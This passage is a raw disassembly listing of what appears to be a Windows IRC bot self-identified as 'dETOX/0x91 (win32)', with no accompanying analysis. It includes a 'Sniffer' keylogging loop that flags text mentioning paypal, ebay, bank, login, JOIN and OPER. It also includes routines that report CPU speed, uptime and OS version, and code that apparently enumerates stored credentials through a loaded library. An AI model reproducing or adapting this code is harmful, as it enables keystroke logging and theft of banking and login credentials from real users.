		sbb	eax, eax
		inc	eax
		mov	[ebp+arg_0], eax
		jz	short loc_4097D5


loc_4097D0:				; CODE XREF: sub_4096C8+CAj
					; sub_4096C8+EDj
		push	[ebp+arg_4]
		jmp	short loc_40976D
; ---------------------------------------------------------------------------


loc_4097D5:				; CODE XREF: sub_4096C8+106j
		cmp	[ebp+var_2012],	2
		jnz	short loc_409823
		push	10h
		push	offset dword_4037C8
		lea	eax, [ebp+var_2014]
		push	esi
		push	eax
		call	sub_40A9CA
		add	esp, 10h
		test	al, al
		jz	short loc_409802
		mov	[ebp+var_4], 1
		jmp	short loc_409823
; ---------------------------------------------------------------------------


loc_409802:				; CODE XREF: sub_4096C8+12Fj
		push	10h
		push	offset dword_4037DC
		lea	eax, [ebp+var_2014]
		push	esi
		push	eax
		call	sub_40A9CA
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	[ebp+var_4], eax


loc_409823:				; CODE XREF: sub_4096C8+D3j
					; sub_4096C8+114j ...
		push	[ebp+arg_4]
		call	sub_408616
		mov	eax, [ebp+var_4]
		pop	ecx


loc_40982F:				; CODE XREF: sub_4096C8+1Cj
					; sub_4096C8+3Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4096C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_409834	proc near		; CODE XREF: sub_4098E2+122p
					; sub_4098E2+2EAp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_4], 0
		push	esi
		jz	short loc_40988B
		mov	esi, [esp+4+arg_0]
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_40AA02
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4098C2
		push	offset aEbay	; "ebay"
		push	esi
		call	sub_40AA02
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4098C2
		push	offset aEBay	; "e-bay"
		push	esi
		call	sub_40AA02
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4098C2
		push	offset aLogin	; "login"
		push	esi
		call	sub_40AA02
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4098C2
		push	offset aBank	; "bank"
		jmp	short loc_4098B6
; ---------------------------------------------------------------------------


loc_40988B:				; CODE XREF: sub_409834+6j
		mov	esi, [esp+4+arg_0]
		push	offset aJoin	; "JOIN"
		push	esi
		call	sub_40AA02
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4098C2
		push	offset aOper	; "OPER"
		push	esi
		call	sub_40AA02
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4098C2
		push	offset aLogin	; "login"


loc_4098B6:				; CODE XREF: sub_409834+55j
		push	esi
		call	sub_40AA02
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4098DE


loc_4098C2:				; CODE XREF: sub_409834+1Bj
					; sub_409834+2Cj ...
		mov	eax, dword_40372C
		push	esi
		imul	eax, 1Ch
		push	off_401BAC[eax]
		push	offset dword_403F84
		call	sub_405185
		add	esp, 0Ch


loc_4098DE:				; CODE XREF: sub_409834+8Cj
		xor	eax, eax
		pop	esi
		retn
sub_409834	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4098E2	proc near		; DATA XREF: sub_404530+B09o
					; sub_4055A6+228o ...

var_34D0	= dword	ptr -34D0h
var_34CC	= byte ptr -34CCh
var_14CC	= byte ptr -14CCh
var_144C	= dword	ptr -144Ch
var_1448	= dword	ptr -1448h
var_1444	= dword	ptr -1444h
var_1440	= dword	ptr -1440h
var_143C	= dword	ptr -143Ch
var_1438	= byte ptr -1438h
var_103C	= dword	ptr -103Ch
var_1038	= dword	ptr -1038h
var_1034	= dword	ptr -1034h
var_1030	= byte ptr -1030h
var_1019	= byte ptr -1019h
var_1018	= byte ptr -1018h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_404458
		push	offset loc_40ABC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		mov	eax, 34B8h
		call	sub_40ABE0
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		mov	[ebp+var_1444],	esi
		mov	[ebp+var_143C],	esi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_1438]
		rep stosd
		push	80000400h
		lea	eax, [ebp+var_1030]
		push	eax
		call	dword_4010DC	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_40995D
		push	offset aSniffer	; "Sniffer"
		call	sub_40A64F
		push	eax
		call	sub_40A56C
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4010EC	; ExitThread


loc_40995D:				; CODE XREF: sub_4098E2+60j
		lea	eax, [ebp+var_1030]
		push	eax
		call	dword_4010E0	; RtlEnterCriticalSection
		mov	ebx, dword_4011D4
		call	ebx ; dword_4011D4
		mov	[ebp+var_1448],	eax
		push	64h
		lea	ecx, [ebp+var_14CC]
		push	ecx
		push	eax
		mov	esi, dword_4011D0
		call	esi ; dword_4011D0
		mov	edi, 1000h
		push	edi
		push	0
		lea	eax, [ebp+var_1018]
		push	eax
		call	sub_40AC10
		add	esp, 0Ch


loc_4099A1:				; CODE XREF: sub_4098E2+36Ej
					; sub_4098E2+38Fj
		cmp	[ebp+var_1444],	0
		jnz	loc_409C76
		and	[ebp+var_4], 0
		push	1
		call	dword_4010F4	; Sleep
		call	ebx ; dword_4011D4
		mov	[ebp+var_1034],	eax
		cmp	eax, [ebp+var_1448]
		jz	short loc_409A34
		mov	[ebp+var_1448],	eax
		push	64h
		lea	ecx, [ebp+var_14CC]
		push	ecx
		push	eax
		call	esi ; dword_4011D0
		lea	eax, [ebp+var_14CC]
		push	eax
		lea	eax, [ebp+var_1018]
		push	eax
		push	offset dword_403FE0
		lea	eax, [ebp+var_34CC]
		push	eax
		call	sub_40AB94
		push	1
		lea	eax, [ebp+var_34CC]
		push	eax
		call	sub_409834
		mov	[ebp+var_1444],	eax
		push	edi
		push	0
		lea	eax, [ebp+var_1018]
		push	eax
		call	sub_40AC10
		push	2000h
		push	0
		lea	eax, [ebp+var_34CC]
		push	eax
		call	sub_40AC10
		add	esp, 30h


loc_409A34:				; CODE XREF: sub_4098E2+E6j
		and	[ebp+var_1440],	0


loc_409A3B:				; CODE XREF: sub_4098E2+365j
		cmp	[ebp+var_1440],	5Ch
		jge	loc_409C4C
		push	10h
		call	dword_4011E0
		movsx	eax, ax
		mov	[ebp+var_1038],	eax
		mov	eax, [ebp+var_1440]
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	[ebp+var_34D0],	eax
		mov	eax, dword_403818[eax]
		mov	[ebp+var_103C],	eax
		push	eax
		call	dword_4011D8
		test	ah, 80h
		jz	loc_409B22
		push	14h
		call	dword_4011E0
		test	ax, ax
		jz	short loc_409ABD
		cmp	[ebp+var_1038],	0FFFFFFFFh
		jle	short loc_409ABD
		mov	eax, [ebp+var_103C]
		cmp	eax, 40h
		jle	short loc_409ABD
		cmp	eax, 5Bh
		jge	short loc_409ABD
		mov	[ebp+eax*4+var_143C], 1
		jmp	loc_409C41
; ---------------------------------------------------------------------------


loc_409ABD:				; CODE XREF: sub_4098E2+1B0j
					; sub_4098E2+1B9j ...
		push	14h
		call	dword_4011E0
		test	ax, ax
		jz	short loc_409AF3
		cmp	[ebp+var_1038],	0
		mov	eax, [ebp+var_103C]
		jge	short loc_409AF9
		cmp	eax, 40h
		jle	short loc_409AF9
		cmp	eax, 5Bh
		jge	short loc_409AF9
		mov	[ebp+eax*4+var_143C], 2
		jmp	loc_409C41
; ---------------------------------------------------------------------------


loc_409AF3:				; CODE XREF: sub_4098E2+1E6j
		mov	eax, [ebp+var_103C]


loc_409AF9:				; CODE XREF: sub_4098E2+1F5j
					; sub_4098E2+1FAj ...
		cmp	[ebp+var_1038],	0
		jge	short loc_409B12
		mov	[ebp+eax*4+var_143C], 3
		jmp	loc_409C41
; ---------------------------------------------------------------------------


loc_409B12:				; CODE XREF: sub_4098E2+21Ej
		mov	[ebp+eax*4+var_143C], 4
		jmp	loc_409C41
; ---------------------------------------------------------------------------


loc_409B22:				; CODE XREF: sub_4098E2+19Fj
		mov	edx, [ebp+var_103C]
		lea	eax, [ebp+edx*4+var_143C]
		mov	ecx, [eax]
		test	ecx, ecx
		jz	loc_409C41
		mov	[ebp+var_144C],	ecx
		and	dword ptr [eax], 0
		cmp	edx, 8
		lea	eax, [ebp+var_1018]
		push	eax
		jnz	short loc_409B61
		call	sub_40ABD2
		pop	ecx
		and	[ebp+eax+var_1019], 0
		jmp	loc_409C41
; ---------------------------------------------------------------------------


loc_409B61:				; CODE XREF: sub_4098E2+26Aj
		call	sub_40ABD2
		pop	ecx
		cmp	eax, 0FBAh
		ja	short loc_409B90
		cmp	[ebp+var_103C],	0Dh
		jnz	loc_409BFE
		lea	eax, [ebp+var_1018]
		push	eax
		call	sub_40ABD2
		pop	ecx
		test	eax, eax
		jz	loc_409C41


loc_409B90:				; CODE XREF: sub_4098E2+28Aj
		call	ebx ; dword_4011D4
		mov	[ebp+var_1034],	eax
		push	64h
		lea	ecx, [ebp+var_14CC]
		push	ecx
		push	eax
		call	esi ; dword_4011D0
		lea	eax, [ebp+var_14CC]
		push	eax
		lea	eax, [ebp+var_1018]
		push	eax
		push	offset dword_403FE0
		lea	eax, [ebp+var_34CC]
		push	eax
		call	sub_40AB94
		push	1
		lea	eax, [ebp+var_34CC]
		push	eax
		call	sub_409834
		mov	[ebp+var_1444],	eax
		push	edi
		push	0
		lea	eax, [ebp+var_1018]
		push	eax
		call	sub_40AC10
		push	2000h
		push	0
		lea	eax, [ebp+var_34CC]
		push	eax
		call	sub_40AC10
		add	esp, 30h
		jmp	short loc_409C41
; ---------------------------------------------------------------------------


loc_409BFE:				; CODE XREF: sub_4098E2+293j
		mov	eax, [ebp+var_144C]
		cmp	eax, 1
		jz	short loc_409C26
		cmp	eax, 3
		jz	short loc_409C26
		cmp	eax, 2
		jz	short loc_409C18
		cmp	eax, 4
		jnz	short loc_409C41


loc_409C18:				; CODE XREF: sub_4098E2+32Fj
		mov	eax, [ebp+var_34D0]
		lea	eax, dword_40381C[eax]
		jmp	short loc_409C32
; ---------------------------------------------------------------------------


loc_409C26:				; CODE XREF: sub_4098E2+325j
					; sub_4098E2+32Aj
		mov	eax, [ebp+var_34D0]
		lea	eax, dword_403823[eax]


loc_409C32:				; CODE XREF: sub_4098E2+342j
		push	eax
		lea	eax, [ebp+var_1018]
		push	eax
		call	sub_40AC82
		pop	ecx
		pop	ecx


loc_409C41:				; CODE XREF: sub_4098E2+1D6j
					; sub_4098E2+20Cj ...
		inc	[ebp+var_1440]
		jmp	loc_409A3B
; ---------------------------------------------------------------------------


loc_409C4C:				; CODE XREF: sub_4098E2+160j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	loc_4099A1
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, 1000h
		mov	ebx, dword_4011D4
		mov	esi, dword_4011D0
		jmp	loc_4099A1
; ---------------------------------------------------------------------------


loc_409C76:				; CODE XREF: sub_4098E2+C6j
		push	offset aSniffer	; "Sniffer"
		call	sub_40A64F
		push	eax
		call	sub_40A56C
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1030]
		push	eax
		call	dword_4010E8	; RtlLeaveCriticalSection
		push	0
		call	dword_4010EC	; ExitThread
sub_4098E2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C9D	proc near		; CODE XREF: sub_409F1F+3Bp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	esi, esi


loc_409CA7:				; CODE XREF: sub_409C9D+3Cj
					; sub_409C9D+46j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	dword_4010F4	; Sleep
		rdtsc
		sub	eax, ebx
		push	esi
		sbb	edx, edi
		push	186A0h
		push	edx
		push	eax
		call	sub_40AD10
		push	esi
		push	0Ah
		push	edx
		push	eax
		call	sub_40AD10
		cmp	edx, esi
		mov	edi, eax
		ja	short loc_409CA7
		jb	short loc_409CE5
		cmp	edi, 0F4240h
		ja	short loc_409CA7


loc_409CE5:				; CODE XREF: sub_409C9D+3Ej
		push	esi
		push	64h
		push	edx
		push	edi
		call	sub_40AC90
		push	64h
		mov	ecx, eax
		cmp	edx, esi
		pop	eax
		mov	[ebp+var_4], esi
		ja	short loc_409D5C
		jb	short loc_409D02
		cmp	ecx, 50h
		jnb	short loc_409D08


loc_409D02:				; CODE XREF: sub_409C9D+5Ej
		push	4Bh
		mov	[ebp+var_4], esi
		pop	eax


loc_409D08:				; CODE XREF: sub_409C9D+63j
		cmp	edx, esi
		ja	short loc_409D5C
		jb	short loc_409D13
		cmp	ecx, 47h
		jnb	short loc_409D19


loc_409D13:				; CODE XREF: sub_409C9D+6Fj
		push	42h
		mov	[ebp+var_4], esi
		pop	eax


loc_409D19:				; CODE XREF: sub_409C9D+74j
		cmp	edx, esi
		ja	short loc_409D5C
		jb	short loc_409D24
		cmp	ecx, 37h
		jnb	short loc_409D2A


loc_409D24:				; CODE XREF: sub_409C9D+80j
		push	32h
		mov	[ebp+var_4], esi
		pop	eax


loc_409D2A:				; CODE XREF: sub_409C9D+85j
		cmp	edx, esi
		ja	short loc_409D5C
		jb	short loc_409D35
		cmp	ecx, 26h
		jnb	short loc_409D3B


loc_409D35:				; CODE XREF: sub_409C9D+91j
		push	21h
		mov	[ebp+var_4], esi
		pop	eax


loc_409D3B:				; CODE XREF: sub_409C9D+96j
		cmp	edx, esi
		ja	short loc_409D5C
		jb	short loc_409D46
		cmp	ecx, 1Eh
		jnb	short loc_409D4C


loc_409D46:				; CODE XREF: sub_409C9D+A2j
		push	19h
		mov	[ebp+var_4], esi
		pop	eax


loc_409D4C:				; CODE XREF: sub_409C9D+A7j
		cmp	edx, esi
		ja	short loc_409D5C
		jb	short loc_409D57
		cmp	ecx, 0Ah
		jnb	short loc_409D5C


loc_409D57:				; CODE XREF: sub_409C9D+B3j
		xor	eax, eax
		mov	[ebp+var_4], esi


loc_409D5C:				; CODE XREF: sub_409C9D+5Cj
					; sub_409C9D+6Dj ...
		sub	eax, ecx
		add	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409C9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409D65	proc near		; CODE XREF: sub_404530+D5p
					; sub_409F1F+47p

var_2C		= qword	ptr -2Ch
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	dword_401098	; QueryPerformanceCounter
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_401094	; QueryPerformanceFrequency
		xor	eax, eax
		cmp	[ebp+var_C], eax
		jl	short loc_409DC9
		jg	short loc_409D90
		cmp	[ebp+var_10], eax
		jbe	short loc_409DC9


loc_409D90:				; CODE XREF: sub_409D65+24j
		cmp	[ebp+var_4], eax
		jl	short loc_409DC9
		jg	short loc_409D9C
		cmp	[ebp+var_8], eax
		jbe	short loc_409DC9


loc_409D9C:				; CODE XREF: sub_409D65+30j
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_40AD90
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+2Ch+var_2C]
		call	sub_40AD7E
		pop	ecx
		pop	ecx
		call	sub_40ABC6
		jmp	short loc_409DD8
; ---------------------------------------------------------------------------


loc_409DC9:				; CODE XREF: sub_409D65+22j
					; sub_409D65+29j ...
		call	dword_4010FC	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx


loc_409DD8:				; CODE XREF: sub_409D65+62j
		mov	ecx, 15180h
		xor	edx, edx
		mov	edi, ecx
		mov	esi, eax
		div	edi
		xor	edx, edx
		push	3Ch
		mov	edi, eax
		mov	eax, esi
		div	ecx
		mov	ecx, 0E10h
		mov	ebx, ecx
		mov	eax, edx
		xor	edx, edx
		div	ebx
		xor	edx, edx
		mov	ebx, eax
		mov	eax, esi
		div	ecx
		pop	ecx
		mov	esi, offset aDays ; "days"
		mov	eax, edx
		xor	edx, edx
		div	ecx
		cmp	edi, 1
		jnz	short loc_409E1A
		mov	esi, offset aDay ; "day"


loc_409E1A:				; CODE XREF: sub_409D65+AEj
		cmp	ebx, 1
		mov	edx, offset aHours ; "hours"
		jnz	short loc_409E29
		mov	edx, offset aHour ; "hour"


loc_409E29:				; CODE XREF: sub_409D65+BDj
		cmp	eax, 1
		mov	ecx, offset aMinutes ; "minutes"
		jnz	short loc_409E38
		mov	ecx, offset aMinute ; "minute"


loc_409E38:				; CODE XREF: sub_409D65+CCj
		push	ecx
		push	eax
		push	edx
		push	ebx
		push	esi
		push	edi
		push	offset dword_404000
		mov	esi, offset dword_40B310
		push	104h
		push	esi
		call	sub_40AD78
		add	esp, 24h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409D65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409E5D	proc near		; CODE XREF: sub_404530+FBp
					; sub_409F1F+41p

var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		lea	eax, [ebp+var_98]
		mov	[ebp+var_98], 94h
		push	eax
		call	dword_40109C	; GetVersionExA
		cmp	[ebp+var_94], 4
		mov	ecx, [ebp+var_90]
		jnz	short loc_409EC9
		test	ecx, ecx
		jnz	short loc_409EB1
		cmp	[ebp+var_88], 1
		mov	eax, offset a95	; "95"
		jz	short loc_409EA1
		mov	eax, [ebp+var_4]


loc_409EA1:				; CODE XREF: sub_409E5D+3Fj
		cmp	[ebp+var_88], 2
		jnz	short loc_409EF8
		mov	eax, offset aNt	; "NT"
		jmp	short loc_409EF8
; ---------------------------------------------------------------------------


loc_409EB1:				; CODE XREF: sub_409E5D+31j
		cmp	ecx, 0Ah
		jnz	short loc_409EBD
		mov	eax, offset a98	; "98"
		jmp	short loc_409EF8
; ---------------------------------------------------------------------------


loc_409EBD:				; CODE XREF: sub_409E5D+57j
		cmp	ecx, 5Ah
		jnz	short loc_409EF3
		mov	eax, offset aMe	; "ME"
		jmp	short loc_409EF8
; ---------------------------------------------------------------------------


loc_409EC9:				; CODE XREF: sub_409E5D+2Dj
		cmp	[ebp+var_94], 5
		jnz	short loc_409EF3
		test	ecx, ecx
		jnz	short loc_409EDD
		mov	eax, offset a2000 ; "2000"
		jmp	short loc_409EF8
; ---------------------------------------------------------------------------


loc_409EDD:				; CODE XREF: sub_409E5D+77j
		cmp	ecx, 1
		jnz	short loc_409EE9
		mov	eax, offset aXp	; "XP"
		jmp	short loc_409EF8
; ---------------------------------------------------------------------------


loc_409EE9:				; CODE XREF: sub_409E5D+83j
		cmp	ecx, 2
		mov	eax, offset a2003 ; "2003"
		jz	short loc_409EF8


loc_409EF3:				; CODE XREF: sub_409E5D+63j
					; sub_409E5D+73j
		mov	eax, offset dword_404074


loc_409EF8:				; CODE XREF: sub_409E5D+4Bj
					; sub_409E5D+52j ...
		push	esi
		mov	esi, offset dword_40B284
		push	[ebp+var_8C]
		push	ecx
		push	[ebp+var_94]
		push	eax
		push	offset dword_404050
		push	esi
		call	sub_40AB94
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_409E5D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409F1F	proc near		; CODE XREF: sub_404530+140p

var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	esi
		push	20h
		lea	eax, [ebp+var_20]
		push	0
		push	eax
		call	sub_40AC10
		add	esp, 0Ch
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4010A0	; GlobalMemoryStatus
		mov	eax, [ebp+var_18]
		mov	ecx, 0FF800h
		xor	edx, edx
		mov	esi, ecx
		div	esi
		xor	edx, edx
		push	eax
		mov	eax, [ebp+var_18]
		sub	eax, [ebp+var_14]
		div	ecx
		push	eax
		call	sub_409C9D
		push	eax
		call	sub_409E5D
		push	eax
		call	sub_409D65
		push	eax
		push	offset aDetox0x91Win32 ; "dETOX/0x91 (win32)"
		mov	esi, offset dword_40B414
		push	offset dword_40409C
		push	esi
		call	sub_40AB94
		add	esp, 20h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_409F1F	endp


; =============== S U B	R O U T	I N E =======================================



sub_409F89	proc near		; CODE XREF: MEW:0040A238p
					; MEW:0040A313p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_0]
		push	[esp+4+arg_4]
		push	4040FCh
		call	sub_405185
		add	esp, 0Ch
		xor	eax, eax
		retn
sub_409F89	endp

; ---------------------------------------------------------------------------


loc_409FA1:				; DATA XREF: sub_404530+1F3o
		mov	eax, offset loc_40AFF4
		call	sub_40AE40
		sub	esp, 0D40h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	offset dword_404288
		mov	[ebp-14h], ebx
		call	dword_401090	; LoadLibraryA
		cmp	eax, ebx
		mov	[ebp-2Ch], eax
		jz	loc_40A436
		mov	eax, [ebp+8]
		push	dword ptr [eax]
		push	offset dword_404248
		call	sub_405185
		pop	ecx
		pop	ecx
		push	404230h
		push	dword ptr [ebp-2Ch]
		call	dword_40108C	; GetProcAddress
		cmp	eax, ebx
		jz	loc_40A418
		push	ebx
		push	ebx
		lea	ecx, [ebp-10h]
		push	ebx
		push	ecx
		mov	[ebp-4], ebx
		mov	[ebp-10h], ebx
		call	eax
		cmp	[ebp-10h], ebx
		mov	byte ptr [ebp-4], 1
		mov	[ebp-24h], ebx
		jnz	short loc_40A01B
		push	80004003h
		call	sub_40AE70


loc_40A01B:				; CODE XREF: MEW:0040A00Fj
		mov	esi, [ebp-10h]
		lea	ecx, [ebp-24h]
		push	ecx
		push	ebx
		mov	eax, [esi]
		push	ebx
		push	esi
		call	dword ptr [eax+38h]
		cmp	eax, ebx
		jge	short loc_40A03A
		push	offset dword_404220
		push	esi
		push	eax
		call	sub_40AE7E


loc_40A03A:				; CODE XREF: MEW:0040A02Cj
					; MEW:0040A3E6j ...
		cmp	[ebp-24h], ebx
		jnz	short loc_40A049
		push	80004003h
		call	sub_40AE70


loc_40A049:				; CODE XREF: MEW:0040A03Dj
		mov	eax, [ebp-24h]
		lea	edx, [ebp-40h]
		push	ebx
		push	edx
		mov	ecx, [eax]
		push	1
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jnz	loc_40A3F7
		sub	esp, 10h
		lea	esi, [ebp-40h]
		mov	edi, esp
		lea	eax, [ebp-84h]
		movsd
		movsd
		movsd
		push	404218h
		push	eax
		movsd
		call	dword_4011DC
		add	esp, 18h
		cmp	[ebp-10h], ebx
		mov	byte ptr [ebp-4], 2
		mov	[ebp-1Ch], ebx
		jnz	short loc_40A098
		push	80004003h
		call	sub_40AE70


loc_40A098:				; CODE XREF: MEW:0040A08Cj
		mov	esi, [ebp-10h]
		lea	ecx, [ebp-1Ch]
		push	ecx
		lea	ecx, [ebp-40h]
		mov	eax, [esi]
		push	ebx
		push	ecx
		push	ebx
		push	esi
		call	dword ptr [eax+3Ch]
		cmp	eax, ebx
		mov	edi, offset dword_404220
		jge	short loc_40A0BC
		push	edi
		push	esi
		push	eax
		call	sub_40AE7E


loc_40A0BC:				; CODE XREF: MEW:0040A0B2j
					; MEW:0040A3CCj ...
		cmp	[ebp-1Ch], ebx
		jnz	short loc_40A0CB
		push	80004003h
		call	sub_40AE70


loc_40A0CB:				; CODE XREF: MEW:0040A0BFj
		mov	eax, [ebp-1Ch]
		lea	edx, [ebp-50h]
		push	ebx
		push	edx
		mov	ecx, [eax]
		push	1
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jnz	loc_40A3DD
		cmp	[ebp-10h], ebx
		mov	byte ptr [ebp-4], 3
		mov	[ebp-20h], ebx
		jnz	short loc_40A0F9
		push	80004003h
		call	sub_40AE70


loc_40A0F9:				; CODE XREF: MEW:0040A0EDj
		mov	esi, [ebp-10h]
		lea	ecx, [ebp-20h]
		push	ecx
		lea	ecx, [ebp-50h]
		mov	eax, [esi]
		push	ebx
		push	ecx
		lea	ecx, [ebp-40h]
		push	ecx
		push	ebx
		push	esi
		call	dword ptr [eax+54h]
		cmp	eax, ebx
		jge	short loc_40A11C
		push	edi
		push	esi
		push	eax
		call	sub_40AE7E


loc_40A11C:				; CODE XREF: MEW:0040A112j
					; MEW:0040A253j ...
		cmp	[ebp-20h], ebx
		jnz	short loc_40A12B
		push	80004003h
		call	sub_40AE70


loc_40A12B:				; CODE XREF: MEW:0040A11Fj
		mov	eax, [ebp-20h]
		lea	edx, [ebp-30h]
		push	ebx
		push	edx
		mov	ecx, [eax]
		push	1
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jnz	loc_40A3C3
		push	dword ptr [ebp-30h]
		lea	eax, [ebp-54Ch]
		push	offset dword_404214
		push	eax
		call	dword_4011DC
		add	esp, 0Ch
		cmp	[ebp-10h], ebx
		mov	[ebp-28h], ebx
		mov	[ebp-18h], ebx
		jnz	short loc_40A170
		push	80004003h
		call	sub_40AE70


loc_40A170:				; CODE XREF: MEW:0040A164j
		push	ebx
		lea	ecx, [ebp-18h]
		push	ebx
		push	ecx
		mov	esi, [ebp-10h]
		lea	ecx, [ebp-28h]
		push	ecx
		lea	ecx, [ebp-50h]
		push	dword ptr [ebp-30h]
		mov	eax, [esi]
		push	ecx
		lea	ecx, [ebp-40h]
		push	ecx
		push	ebx
		push	esi
		call	dword ptr [eax+44h]
		cmp	eax, ebx
		jge	short loc_40A19B
		push	edi
		push	esi
		push	eax
		call	sub_40AE7E


loc_40A19B:				; CODE XREF: MEW:0040A191j
		push	dword ptr [ebp-18h]
		call	dword_4010CC	; lstrlenA
		mov	esi, [ebp-28h]
		lea	ecx, [esi-1]
		cmp	eax, ecx
		jge	short loc_40A1E1
		xor	edx, edx
		xor	ecx, ecx
		cmp	esi, ebx
		jle	short loc_40A1D8


loc_40A1B6:				; CODE XREF: MEW:0040A1D6j
		mov	eax, [ebp-18h]
		mov	al, [ecx+eax]
		cmp	al, bl
		jnz	short loc_40A1CA
		mov	byte ptr [ebp+edx-34Ch], 2Ch
		jmp	short loc_40A1D1
; ---------------------------------------------------------------------------


loc_40A1CA:				; CODE XREF: MEW:0040A1BEj
		mov	[ebp+edx-34Ch],	al


loc_40A1D1:				; CODE XREF: MEW:0040A1C8j
		inc	edx
		inc	ecx
		inc	ecx
		cmp	ecx, esi
		jl	short loc_40A1B6


loc_40A1D8:				; CODE XREF: MEW:0040A1B4j
		mov	[ebp+edx-34Dh],	bl
		jmp	short loc_40A1F9
; ---------------------------------------------------------------------------


loc_40A1E1:				; CODE XREF: MEW:0040A1ACj
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-34Ch]
		push	offset aS_1	; "%s"
		push	eax
		call	dword_4011DC
		add	esp, 0Ch


loc_40A1F9:				; CODE XREF: MEW:0040A1DFj
		mov	esi, dword_4010A4+8
		lea	eax, [ebp-84h]
		push	404208h
		push	eax
		call	esi
		test	eax, eax
		jnz	short loc_40A243
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-54Ch]
		push	eax
		lea	eax, [ebp-0D4Ch]
		push	offset dword_4041D8
		push	eax
		call	sub_40AB94
		mov	eax, [ebp+8]
		push	dword ptr [eax]
		lea	eax, [ebp-0D4Ch]
		push	eax
		call	sub_409F89
		add	esp, 18h
		inc	dword ptr [ebp-14h]


loc_40A243:				; CODE XREF: MEW:0040A20Fj
		lea	eax, [ebp-84h]
		push	4041CCh
		push	eax
		call	esi
		test	eax, eax
		jnz	loc_40A11C
		lea	eax, [ebp-54Ch]
		push	4041C0h
		push	eax
		call	sub_40AB9A
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40A11C
		lea	eax, [ebp-54Ch]
		push	4041B8h
		push	eax
		call	sub_40AB9A
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A11C
		lea	eax, [ebp-54Ch]
		push	4041B8h
		push	eax
		call	sub_40AB9A
		pop	ecx
		mov	[eax], bl
		pop	ecx
		lea	eax, [ebp-54Ch]
		push	8
		push	eax
		lea	eax, [ebp-14Ch]
		push	eax
		call	dword_4010A4+4
		lea	eax, [ebp-14Ch]
		push	4041B0h
		push	eax
		call	sub_40AB9A
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A323
		lea	eax, [ebp-14Ch]
		push	4041A8h
		push	eax
		call	sub_40AB9A
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A323
		lea	eax, [ebp-34Ch]
		push	eax
		lea	eax, [ebp-54Ch]
		push	eax
		lea	eax, [ebp-0D4Ch]
		push	40417Ch
		push	eax
		call	sub_40AB94
		mov	eax, [ebp+8]
		push	dword ptr [eax]
		lea	eax, [ebp-0D4Ch]
		push	eax
